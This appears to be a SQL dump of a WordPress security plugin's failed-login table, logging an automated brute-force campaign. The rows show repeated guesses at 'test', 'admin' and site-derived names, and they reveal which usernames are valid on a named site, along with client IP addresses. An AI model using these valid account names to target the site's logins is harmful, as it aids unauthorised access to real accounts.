(98779, 1492160411.787543, 1, 'loginFailInvalidUsername', 'test', 0, 783306918, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98778, 1492155817.705691, 1, 'loginFailInvalidUsername', 'test', 0, 1564920793, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98777, 1492155816.554519, 1, 'loginFailInvalidUsername', 'test', 0, 1564920793, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98776, 1492148268.001029, 1, 'loginFailInvalidUsername', 'test', 0, 3184961325, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98775, 1492148266.664299, 1, 'loginFailInvalidUsername', 'test', 0, 3184961325, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98774, 1492145540.153014, 1, 'loginFailInvalidUsername', 'test', 0, 698235021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98773, 1492145538.833866, 1, 'loginFailInvalidUsername', 'test', 0, 698235021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98772, 1492144971.355227, 1, 'loginFailInvalidUsername', 'test', 0, 1430929736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98771, 1492144970.304125, 1, 'loginFailInvalidUsername', 'test', 0, 1430929736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(98770, 1492144915.910124, 1, 'loginFailInvalidUsername', 'test', 0, 3393065050, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98769, 1492134517.093906, 1, 'loginFailInvalidUsername', 'test', 0, 3153760673, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98768, 1492132585.288795, 1, 'loginFailInvalidUsername', 'test', 0, 3171175055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98767, 1492132567.929758, 1, 'loginFailInvalidUsername', 'test', 0, 1534241720, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98766, 1492131983.976174, 1, 'loginFailInvalidUsername', 'test', 0, 1768890868, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98765, 1492126118.936569, 1, 'loginFailInvalidUsername', 'test', 0, 1731167281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98764, 1492122825.061357, 1, 'loginFailInvalidUsername', 'test', 0, 3159373275, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98763, 1492116361.422038, 1, 'loginFailInvalidUsername', 'test', 0, 1893182448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98762, 1492116359.762756, 1, 'loginFailInvalidUsername', 'test', 0, 1893182448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98761, 1492114280.900546, 1, 'loginFailInvalidUsername', 'test', 0, 1326665543, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98760, 1492114279.712316, 1, 'loginFailInvalidUsername', 'test', 0, 1326665543, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98759, 1492111093.339057, 1, 'loginFailInvalidUsername', 'test', 0, 688738866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98758, 1492111052.481838, 1, 'loginFailInvalidUsername', 'test', 0, 1365262172, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98757, 1492111051.506695, 1, 'loginFailInvalidUsername', 'test', 0, 1365262172, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98756, 1492110466.287582, 1, 'loginFailInvalidUsername', 'test', 0, 3169684338, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98755, 1492110465.267994, 1, 'loginFailInvalidUsername', 'test', 0, 3169684338, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98754, 1492108332.626267, 1, 'loginFailValidUsername', 'julie', 2, 1565317613, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98753, 1492108332.625353, 1, 'loginFailValidUsername', 'pablo', 3, 1565317613, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98752, 1492108218.857468, 1, 'loginFailValidUsername', 'pablo', 3, 2997180598, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98751, 1492108218.215742, 1, 'loginFailValidUsername', 'julie', 2, 2997180598, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98750, 1492107837.075454, 1, 'loginFailInvalidUsername', 'test', 0, 1538301742, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98749, 1492107835.635779, 1, 'loginFailInvalidUsername', 'test', 0, 1538301742, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98748, 1492103587.728012, 1, 'loginFailInvalidUsername', 'test', 0, 1561078904, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98747, 1492103586.125988, 1, 'loginFailInvalidUsername', 'test', 0, 1561078904, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98746, 1492102825.871580, 1, 'loginFailInvalidUsername', 'test', 0, 1569564619, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98745, 1492102824.884599, 1, 'loginFailInvalidUsername', 'test', 0, 1569564619, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98744, 1492098343.523968, 1, 'loginFailInvalidUsername', 'test', 0, 3393078506, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98743, 1492098341.924353, 1, 'loginFailInvalidUsername', 'test', 0, 3393078506, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98742, 1492095359.844239, 1, 'loginFailInvalidUsername', 'test', 0, 1336938262, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98741, 1492095358.661224, 1, 'loginFailInvalidUsername', 'test', 0, 1336938262, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98740, 1492088316.684087, 1, 'loginFailInvalidUsername', 'test', 0, 1572527283, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98739, 1492088315.564417, 1, 'loginFailInvalidUsername', 'test', 0, 1572527283, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98738, 1492087800.308321, 1, 'loginFailInvalidUsername', 'test', 0, 609459476, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98737, 1492087796.909211, 1, 'loginFailInvalidUsername', 'test', 0, 609459476, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98736, 1492081343.382184, 1, 'loginFailInvalidUsername', 'test', 0, 704272349, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98735, 1492078023.978951, 1, 'loginFailInvalidUsername', 'test', 0, 2537483960, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98734, 1492078022.598375, 1, 'loginFailInvalidUsername', 'test', 0, 2537483960, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98733, 1492077320.069033, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98732, 1492077319.750621, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98731, 1492077319.429670, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98730, 1492077319.112995, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98729, 1492077318.713658, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98728, 1492077318.372024, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98727, 1492077318.055369, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98726, 1492077317.713935, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98725, 1492077317.397048, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98724, 1492077317.079885, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98723, 1492077316.749907, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98722, 1492077316.432160, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98721, 1492077316.115320, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98720, 1492077315.797914, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98719, 1492077315.469115, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98718, 1492077315.143902, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98717, 1492077314.823360, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98716, 1492077314.506631, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98715, 1492077314.184619, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98714, 1492072432.550064, 1, 'loginFailInvalidUsername', 'test', 0, 453423111, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98713, 1492072431.275737, 1, 'loginFailInvalidUsername', 'test', 0, 453423111, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98712, 1492072401.383004, 1, 'loginFailInvalidUsername', 'test', 0, 2079106212, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98711, 1492072397.714304, 1, 'loginFailInvalidUsername', 'test', 0, 2079106212, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98710, 1492069063.186357, 1, 'loginFailInvalidUsername', 'test', 0, 1733826562, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98709, 1492069061.414712, 1, 'loginFailInvalidUsername', 'test', 0, 1733826562, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98708, 1492065841.169643, 1, 'loginFailInvalidUsername', 'test', 0, 3302427236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98707, 1492065839.461867, 1, 'loginFailInvalidUsername', 'test', 0, 3302427236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98706, 1492064624.001340, 1, 'loginFailInvalidUsername', 'test', 0, 3127732489, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98705, 1492064372.863222, 1, 'loginFailInvalidUsername', 'test', 0, 1463863771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98704, 1492064371.865361, 1, 'loginFailInvalidUsername', 'test', 0, 1463863771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98447, 1491817614.640082, 1, 'loginFailInvalidUsername', 'test', 0, 1436510797, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98448, 1491818371.654386, 1, 'loginFailInvalidUsername', 'test', 0, 2984180062, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98449, 1491818373.321628, 1, 'loginFailInvalidUsername', 'test', 0, 2984180062, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98450, 1491821325.925346, 1, 'loginFailInvalidUsername', 'professionnel', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98451, 1491821327.708221, 1, 'loginFailInvalidUsername', 'travail', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98452, 1491821329.455323, 1, 'loginFailInvalidUsername', 'namur', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98453, 1491821331.174485, 1, 'loginFailInvalidUsername', 'center', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98454, 1491821332.926006, 1, 'loginFailValidUsername', 'admin', 1, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98455, 1491821334.678101, 1, 'loginFailValidUsername', 'julie', 2, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98456, 1491821336.416725, 1, 'loginFailValidUsername', 'pablo', 3, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98457, 1491821338.150584, 1, 'loginFailInvalidUsername', 'vous', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98458, 1491821339.912152, 1, 'loginFailInvalidUsername', 'training', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98459, 1491821341.828534, 1, 'loginFailInvalidUsername', 'notre', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98460, 1491821910.723298, 1, 'loginFailInvalidUsername', 'test', 0, 774888250, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98461, 1491821911.814233, 1, 'loginFailInvalidUsername', 'test', 0, 774888250, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98462, 1491822077.188188, 1, 'loginFailInvalidUsername', 'pour', 0, 1388568683, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98463, 1491822078.977389, 1, 'loginFailInvalidUsername', 'cross', 0, 1388568683, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98464, 1491822875.813636, 1, 'loginFailInvalidUsername', 'demo', 0, 2548839248, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98465, 1491823552.235033, 1, 'loginFailInvalidUsername', 'test', 0, 3319534981, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(98466, 1491823553.951432, 1, 'loginFailInvalidUsername', 'test', 0, 3319534981, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98467, 1491824604.094737, 1, 'loginFailInvalidUsername', 'demo', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98468, 1491824605.923741, 1, 'loginFailInvalidUsername', 'demo', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98469, 1491824607.846666, 1, 'loginFailInvalidUsername', 'demo', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98470, 1491824609.694658, 1, 'loginFailInvalidUsername', 'demo', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98471, 1491824611.644415, 1, 'loginFailInvalidUsername', 'test', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98472, 1491824613.514269, 1, 'loginFailValidUsername', 'admin', 1, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98473, 1491824615.996992, 1, 'loginFailInvalidUsername', 'test', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98474, 1491824617.844874, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98475, 1491824619.839867, 1, 'loginFailInvalidUsername', 'testuser', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98476, 1491824621.675580, 1, 'loginFailInvalidUsername', 'test123', 0, 2655369265, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98477, 1491825126.876348, 1, 'loginFailInvalidUsername', 'test', 0, 656488519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98478, 1491825128.391210, 1, 'loginFailInvalidUsername', 'test', 0, 656488519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98479, 1491825439.077918, 1, 'loginFailInvalidUsername', 'test', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98480, 1491825440.814309, 1, 'loginFailValidUsername', 'admin', 1, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98481, 1491825442.538215, 1, 'loginFailValidUsername', 'julie', 2, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98482, 1491825444.273797, 1, 'loginFailValidUsername', 'pablo', 3, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98483, 1491825446.026717, 1, 'loginFailInvalidUsername', 'vous', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98484, 1491825447.751750, 1, 'loginFailInvalidUsername', 'training', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98485, 1491825449.469820, 1, 'loginFailInvalidUsername', 'notre', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98486, 1491825451.217301, 1, 'loginFailInvalidUsername', 'pour', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98487, 1491825452.938830, 1, 'loginFailInvalidUsername', 'cross', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98488, 1491825454.806080, 1, 'loginFailInvalidUsername', 'objectifs', 0, 621390095, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98489, 1491825664.827375, 1, 'loginFailInvalidUsername', 'test', 0, 1731788448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98490, 1491825666.121135, 1, 'loginFailInvalidUsername', 'test', 0, 1731788448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98491, 1491825730.968001, 1, 'loginFailInvalidUsername', 'test', 0, 1449385260, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98492, 1491825732.136601, 1, 'loginFailInvalidUsername', 'test', 0, 1449385260, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98495, 1491826305.630248, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98496, 1491826307.637916, 1, 'loginFailInvalidUsername', 'travail', 0, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98497, 1491826309.666058, 1, 'loginFailInvalidUsername', 'namur', 0, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98498, 1491826311.710839, 1, 'loginFailInvalidUsername', 'center', 0, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98499, 1491826313.717253, 1, 'loginFailValidUsername', 'admin', 1, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98500, 1491826315.687472, 1, 'loginFailValidUsername', 'admin', 1, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98501, 1491826318.047085, 1, 'loginFailValidUsername', 'julie', 2, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98502, 1491826320.114698, 1, 'loginFailValidUsername', 'pablo', 3, 1109509224, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98503, 1491830693.622009, 1, 'loginFailInvalidUsername', 'test', 0, 45319675, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98504, 1491831456.678335, 1, 'loginFailInvalidUsername', 'test', 0, 789153653, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98505, 1491831458.468726, 1, 'loginFailInvalidUsername', 'test', 0, 789153653, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98506, 1491831774.765220, 1, 'loginFailInvalidUsername', 'test', 0, 1431082104, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98507, 1491831775.922393, 1, 'loginFailInvalidUsername', 'test', 0, 1431082104, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98508, 1491833443.623309, 1, 'loginFailInvalidUsername', 'test', 0, 1741554987, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98509, 1491833447.713508, 1, 'loginFailInvalidUsername', 'test', 0, 1741554987, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98510, 1491835582.936576, 1, 'loginFailInvalidUsername', 'test', 0, 2548244606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98511, 1491835583.988292, 1, 'loginFailInvalidUsername', 'test', 0, 2548244606, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(100211, 1494828574.148057, 1, 'loginFailInvalidUsername', 'crosstrainingcenter.be', 0, 1079652533, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100212, 1494828576.138102, 1, 'loginFailInvalidUsername', 'crosstrainingcenter.be', 0, 1079652533, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100213, 1494828578.084001, 1, 'loginFailInvalidUsername', 'crosstrainingcenter.be', 0, 1079652533, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100214, 1494828580.078801, 1, 'loginFailInvalidUsername', 'crosstrainingcenter.be', 0, 1079652533, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100215, 1494828582.057281, 1, 'loginFailInvalidUsername', 'test12345', 0, 1079652533, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
